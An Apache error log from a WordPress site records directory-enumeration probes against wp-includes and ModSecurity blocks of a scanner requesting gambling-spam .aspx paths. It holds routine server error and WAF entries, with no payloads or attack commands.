[Tue Mar 24 19:03:40.324187 2026] [autoindex:error] [pid 48219:tid 48297] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:40.622829 2026] [autoindex:error] [pid 48219:tid 48286] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:40.924616 2026] [autoindex:error] [pid 48219:tid 48294] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:41.231521 2026] [autoindex:error] [pid 48219:tid 48299] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:41.559449 2026] [autoindex:error] [pid 48219:tid 48288] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:41.873885 2026] [autoindex:error] [pid 48219:tid 48301] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:42.173660 2026] [autoindex:error] [pid 48219:tid 48291] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:42.516736 2026] [autoindex:error] [pid 48219:tid 48283] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:03:42.812379 2026] [autoindex:error] [pid 48219:tid 48281] [client 2.57.170.211:34947] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:16.049837 2026] [autoindex:error] [pid 3032:tid 3118] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:16.575612 2026] [autoindex:error] [pid 3032:tid 3122] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:44.823548 2026] [autoindex:error] [pid 3032:tid 3104] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/paste/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:45.468158 2026] [autoindex:error] [pid 3032:tid 3105] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:49.592524 2026] [autoindex:error] [pid 3032:tid 3122] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:53.733946 2026] [autoindex:error] [pid 3032:tid 3107] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/directionality/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:55.996574 2026] [autoindex:error] [pid 3032:tid 3110] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:56.317055 2026] [autoindex:error] [pid 3032:tid 3125] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:04:59.630307 2026] [autoindex:error] [pid 3032:tid 3109] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:01.929355 2026] [autoindex:error] [pid 3032:tid 3104] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:02.824776 2026] [autoindex:error] [pid 3032:tid 3103] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:12.005155 2026] [autoindex:error] [pid 3032:tid 3120] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:21.937422 2026] [autoindex:error] [pid 3032:tid 3118] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/paragraph/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:29.954040 2026] [autoindex:error] [pid 3032:tid 3113] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/nux/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:32.078065 2026] [autoindex:error] [pid 3032:tid 3127] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/lists/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:32.382677 2026] [autoindex:error] [pid 3032:tid 3109] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:36.691324 2026] [autoindex:error] [pid 3032:tid 3107] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:05:58.090716 2026] [autoindex:error] [pid 3032:tid 3114] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:06:00.276466 2026] [autoindex:error] [pid 3032:tid 3108] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/social-links/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:06:17.546185 2026] [autoindex:error] [pid 3032:tid 3118] [client 2.57.170.190:46775] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/Core/Curve25519/Ge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 19:06:31.505045 2026] [autoindex:error] [pid 3137:tid 3147] [client 2.57.170.219:44829] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 20:09:46.492063 2026] [:error] [pid 38767:tid 38787] [client 43.159.132.207:42296] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acJ_CvwkUqN4GJAI5oUwqwAAARE"]
[Tue Mar 24 20:26:32.243873 2026] [:error] [pid 38767:tid 38791] [client 178.150.14.250:52150] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acKC-PwkUqN4GJAI5oU3IgAAARU"]
[Tue Mar 24 20:26:34.757296 2026] [:error] [pid 64198:tid 64203] [client 178.150.14.250:53304] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acKC-nVzJqf6OS_oSZ24iAAAAUM"]
[Tue Mar 24 20:26:37.464876 2026] [:error] [pid 3032:tid 3113] [client 178.150.14.250:53312] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acKC_Sa_-JXXD03-JNxWhwAAAIo"]
[Tue Mar 24 20:26:39.973712 2026] [:error] [pid 48214:tid 48265] [client 178.150.14.250:53318] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acKC_7eshLWZ3uUDHKltwgAAAc0"]
[Tue Mar 24 20:26:42.671609 2026] [:error] [pid 48219:tid 48288] [client 178.150.14.250:53330] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acKDAihf3b4R_lAIyv-A7wAAAgc"]
[Tue Mar 24 20:26:45.059411 2026] [:error] [pid 64198:tid 64213] [client 178.150.14.250:45874] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acKDBXVzJqf6OS_oSZ24mwAAAU0"]
[Tue Mar 24 20:26:47.593535 2026] [:error] [pid 3032:tid 3110] [client 178.150.14.250:45876] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acKDBya_-JXXD03-JNxWkgAAAIc"]
[Tue Mar 24 20:26:50.147896 2026] [:error] [pid 3137:tid 3147] [client 178.150.14.250:45880] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acKDCpdZesutm6dfYM8xGgAAAMg"]
[Tue Mar 24 20:26:52.606963 2026] [:error] [pid 3137:tid 3156] [client 178.150.14.250:45882] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acKDDJdZesutm6dfYM8xKgAAANE"]
[Tue Mar 24 20:26:55.357329 2026] [:error] [pid 48219:tid 48302] [client 178.150.14.250:40290] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acKDDyhf3b4R_lAIyv-A-gAAAhU"]
[Tue Mar 24 20:26:57.807662 2026] [:error] [pid 3137:tid 3163] [client 178.150.14.250:40300] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acKDEZdZesutm6dfYM8xLAAAANg"]
[Tue Mar 24 20:27:00.420611 2026] [:error] [pid 48214:tid 48257] [client 178.150.14.250:40314] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acKDFLeshLWZ3uUDHKlt1QAAAcU"]
[Tue Mar 24 20:27:03.006819 2026] [:error] [pid 64198:tid 64215] [client 178.150.14.250:40320] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acKDF3VzJqf6OS_oSZ240wAAAU8"]
[Tue Mar 24 20:27:05.367903 2026] [:error] [pid 64198:tid 64208] [client 178.150.14.250:39094] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acKDGXVzJqf6OS_oSZ242gAAAUg"]
[Tue Mar 24 20:27:08.008701 2026] [:error] [pid 3137:tid 3162] [client 178.150.14.250:39104] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acKDHJdZesutm6dfYM8xNwAAANc"]
[Tue Mar 24 20:27:10.646904 2026] [:error] [pid 3137:tid 3151] [client 178.150.14.250:39110] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acKDHpdZesutm6dfYM8xPQAAAMw"]
[Tue Mar 24 20:27:13.205805 2026] [:error] [pid 3137:tid 3148] [client 178.150.14.250:39124] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acKDIZdZesutm6dfYM8xRgAAAMk"]
[Tue Mar 24 20:27:15.716089 2026] [:error] [pid 38767:tid 38775] [client 178.150.14.250:44494] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acKDI_wkUqN4GJAI5oU3RwAAAQU"]
[Tue Mar 24 20:27:18.208181 2026] [:error] [pid 3137:tid 3143] [client 178.150.14.250:44510] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acKDJpdZesutm6dfYM8xSQAAAMQ"]
[Tue Mar 24 20:27:20.701347 2026] [:error] [pid 48128:tid 48176] [client 178.150.14.250:44526] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "acKDKMvR4LIMFLbM5Vk5JgAAAZc"]
[Tue Mar 24 20:27:23.328554 2026] [:error] [pid 38767:tid 38780] [client 178.150.14.250:44536] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acKDK_wkUqN4GJAI5oU3VwAAAQo"]
[Tue Mar 24 20:27:25.808477 2026] [:error] [pid 48214:tid 48274] [client 178.150.14.250:33266] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acKDLbeshLWZ3uUDHKlt5wAAAdY"]
[Tue Mar 24 20:28:10.210998 2026] [:error] [pid 3137:tid 3150] [client 178.150.14.250:33272] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "acKDWpdZesutm6dfYM8xfQAAAMs"]
[Tue Mar 24 20:28:12.865512 2026] [:error] [pid 3030:tid 3069] [client 178.150.14.250:34484] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acKDXAyOuILyynfcqfle-QAAABQ"]
[Tue Mar 24 20:28:15.445173 2026] [:error] [pid 3032:tid 3116] [client 178.150.14.250:54160] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acKDXya_-JXXD03-JNxWpgAAAI0"]
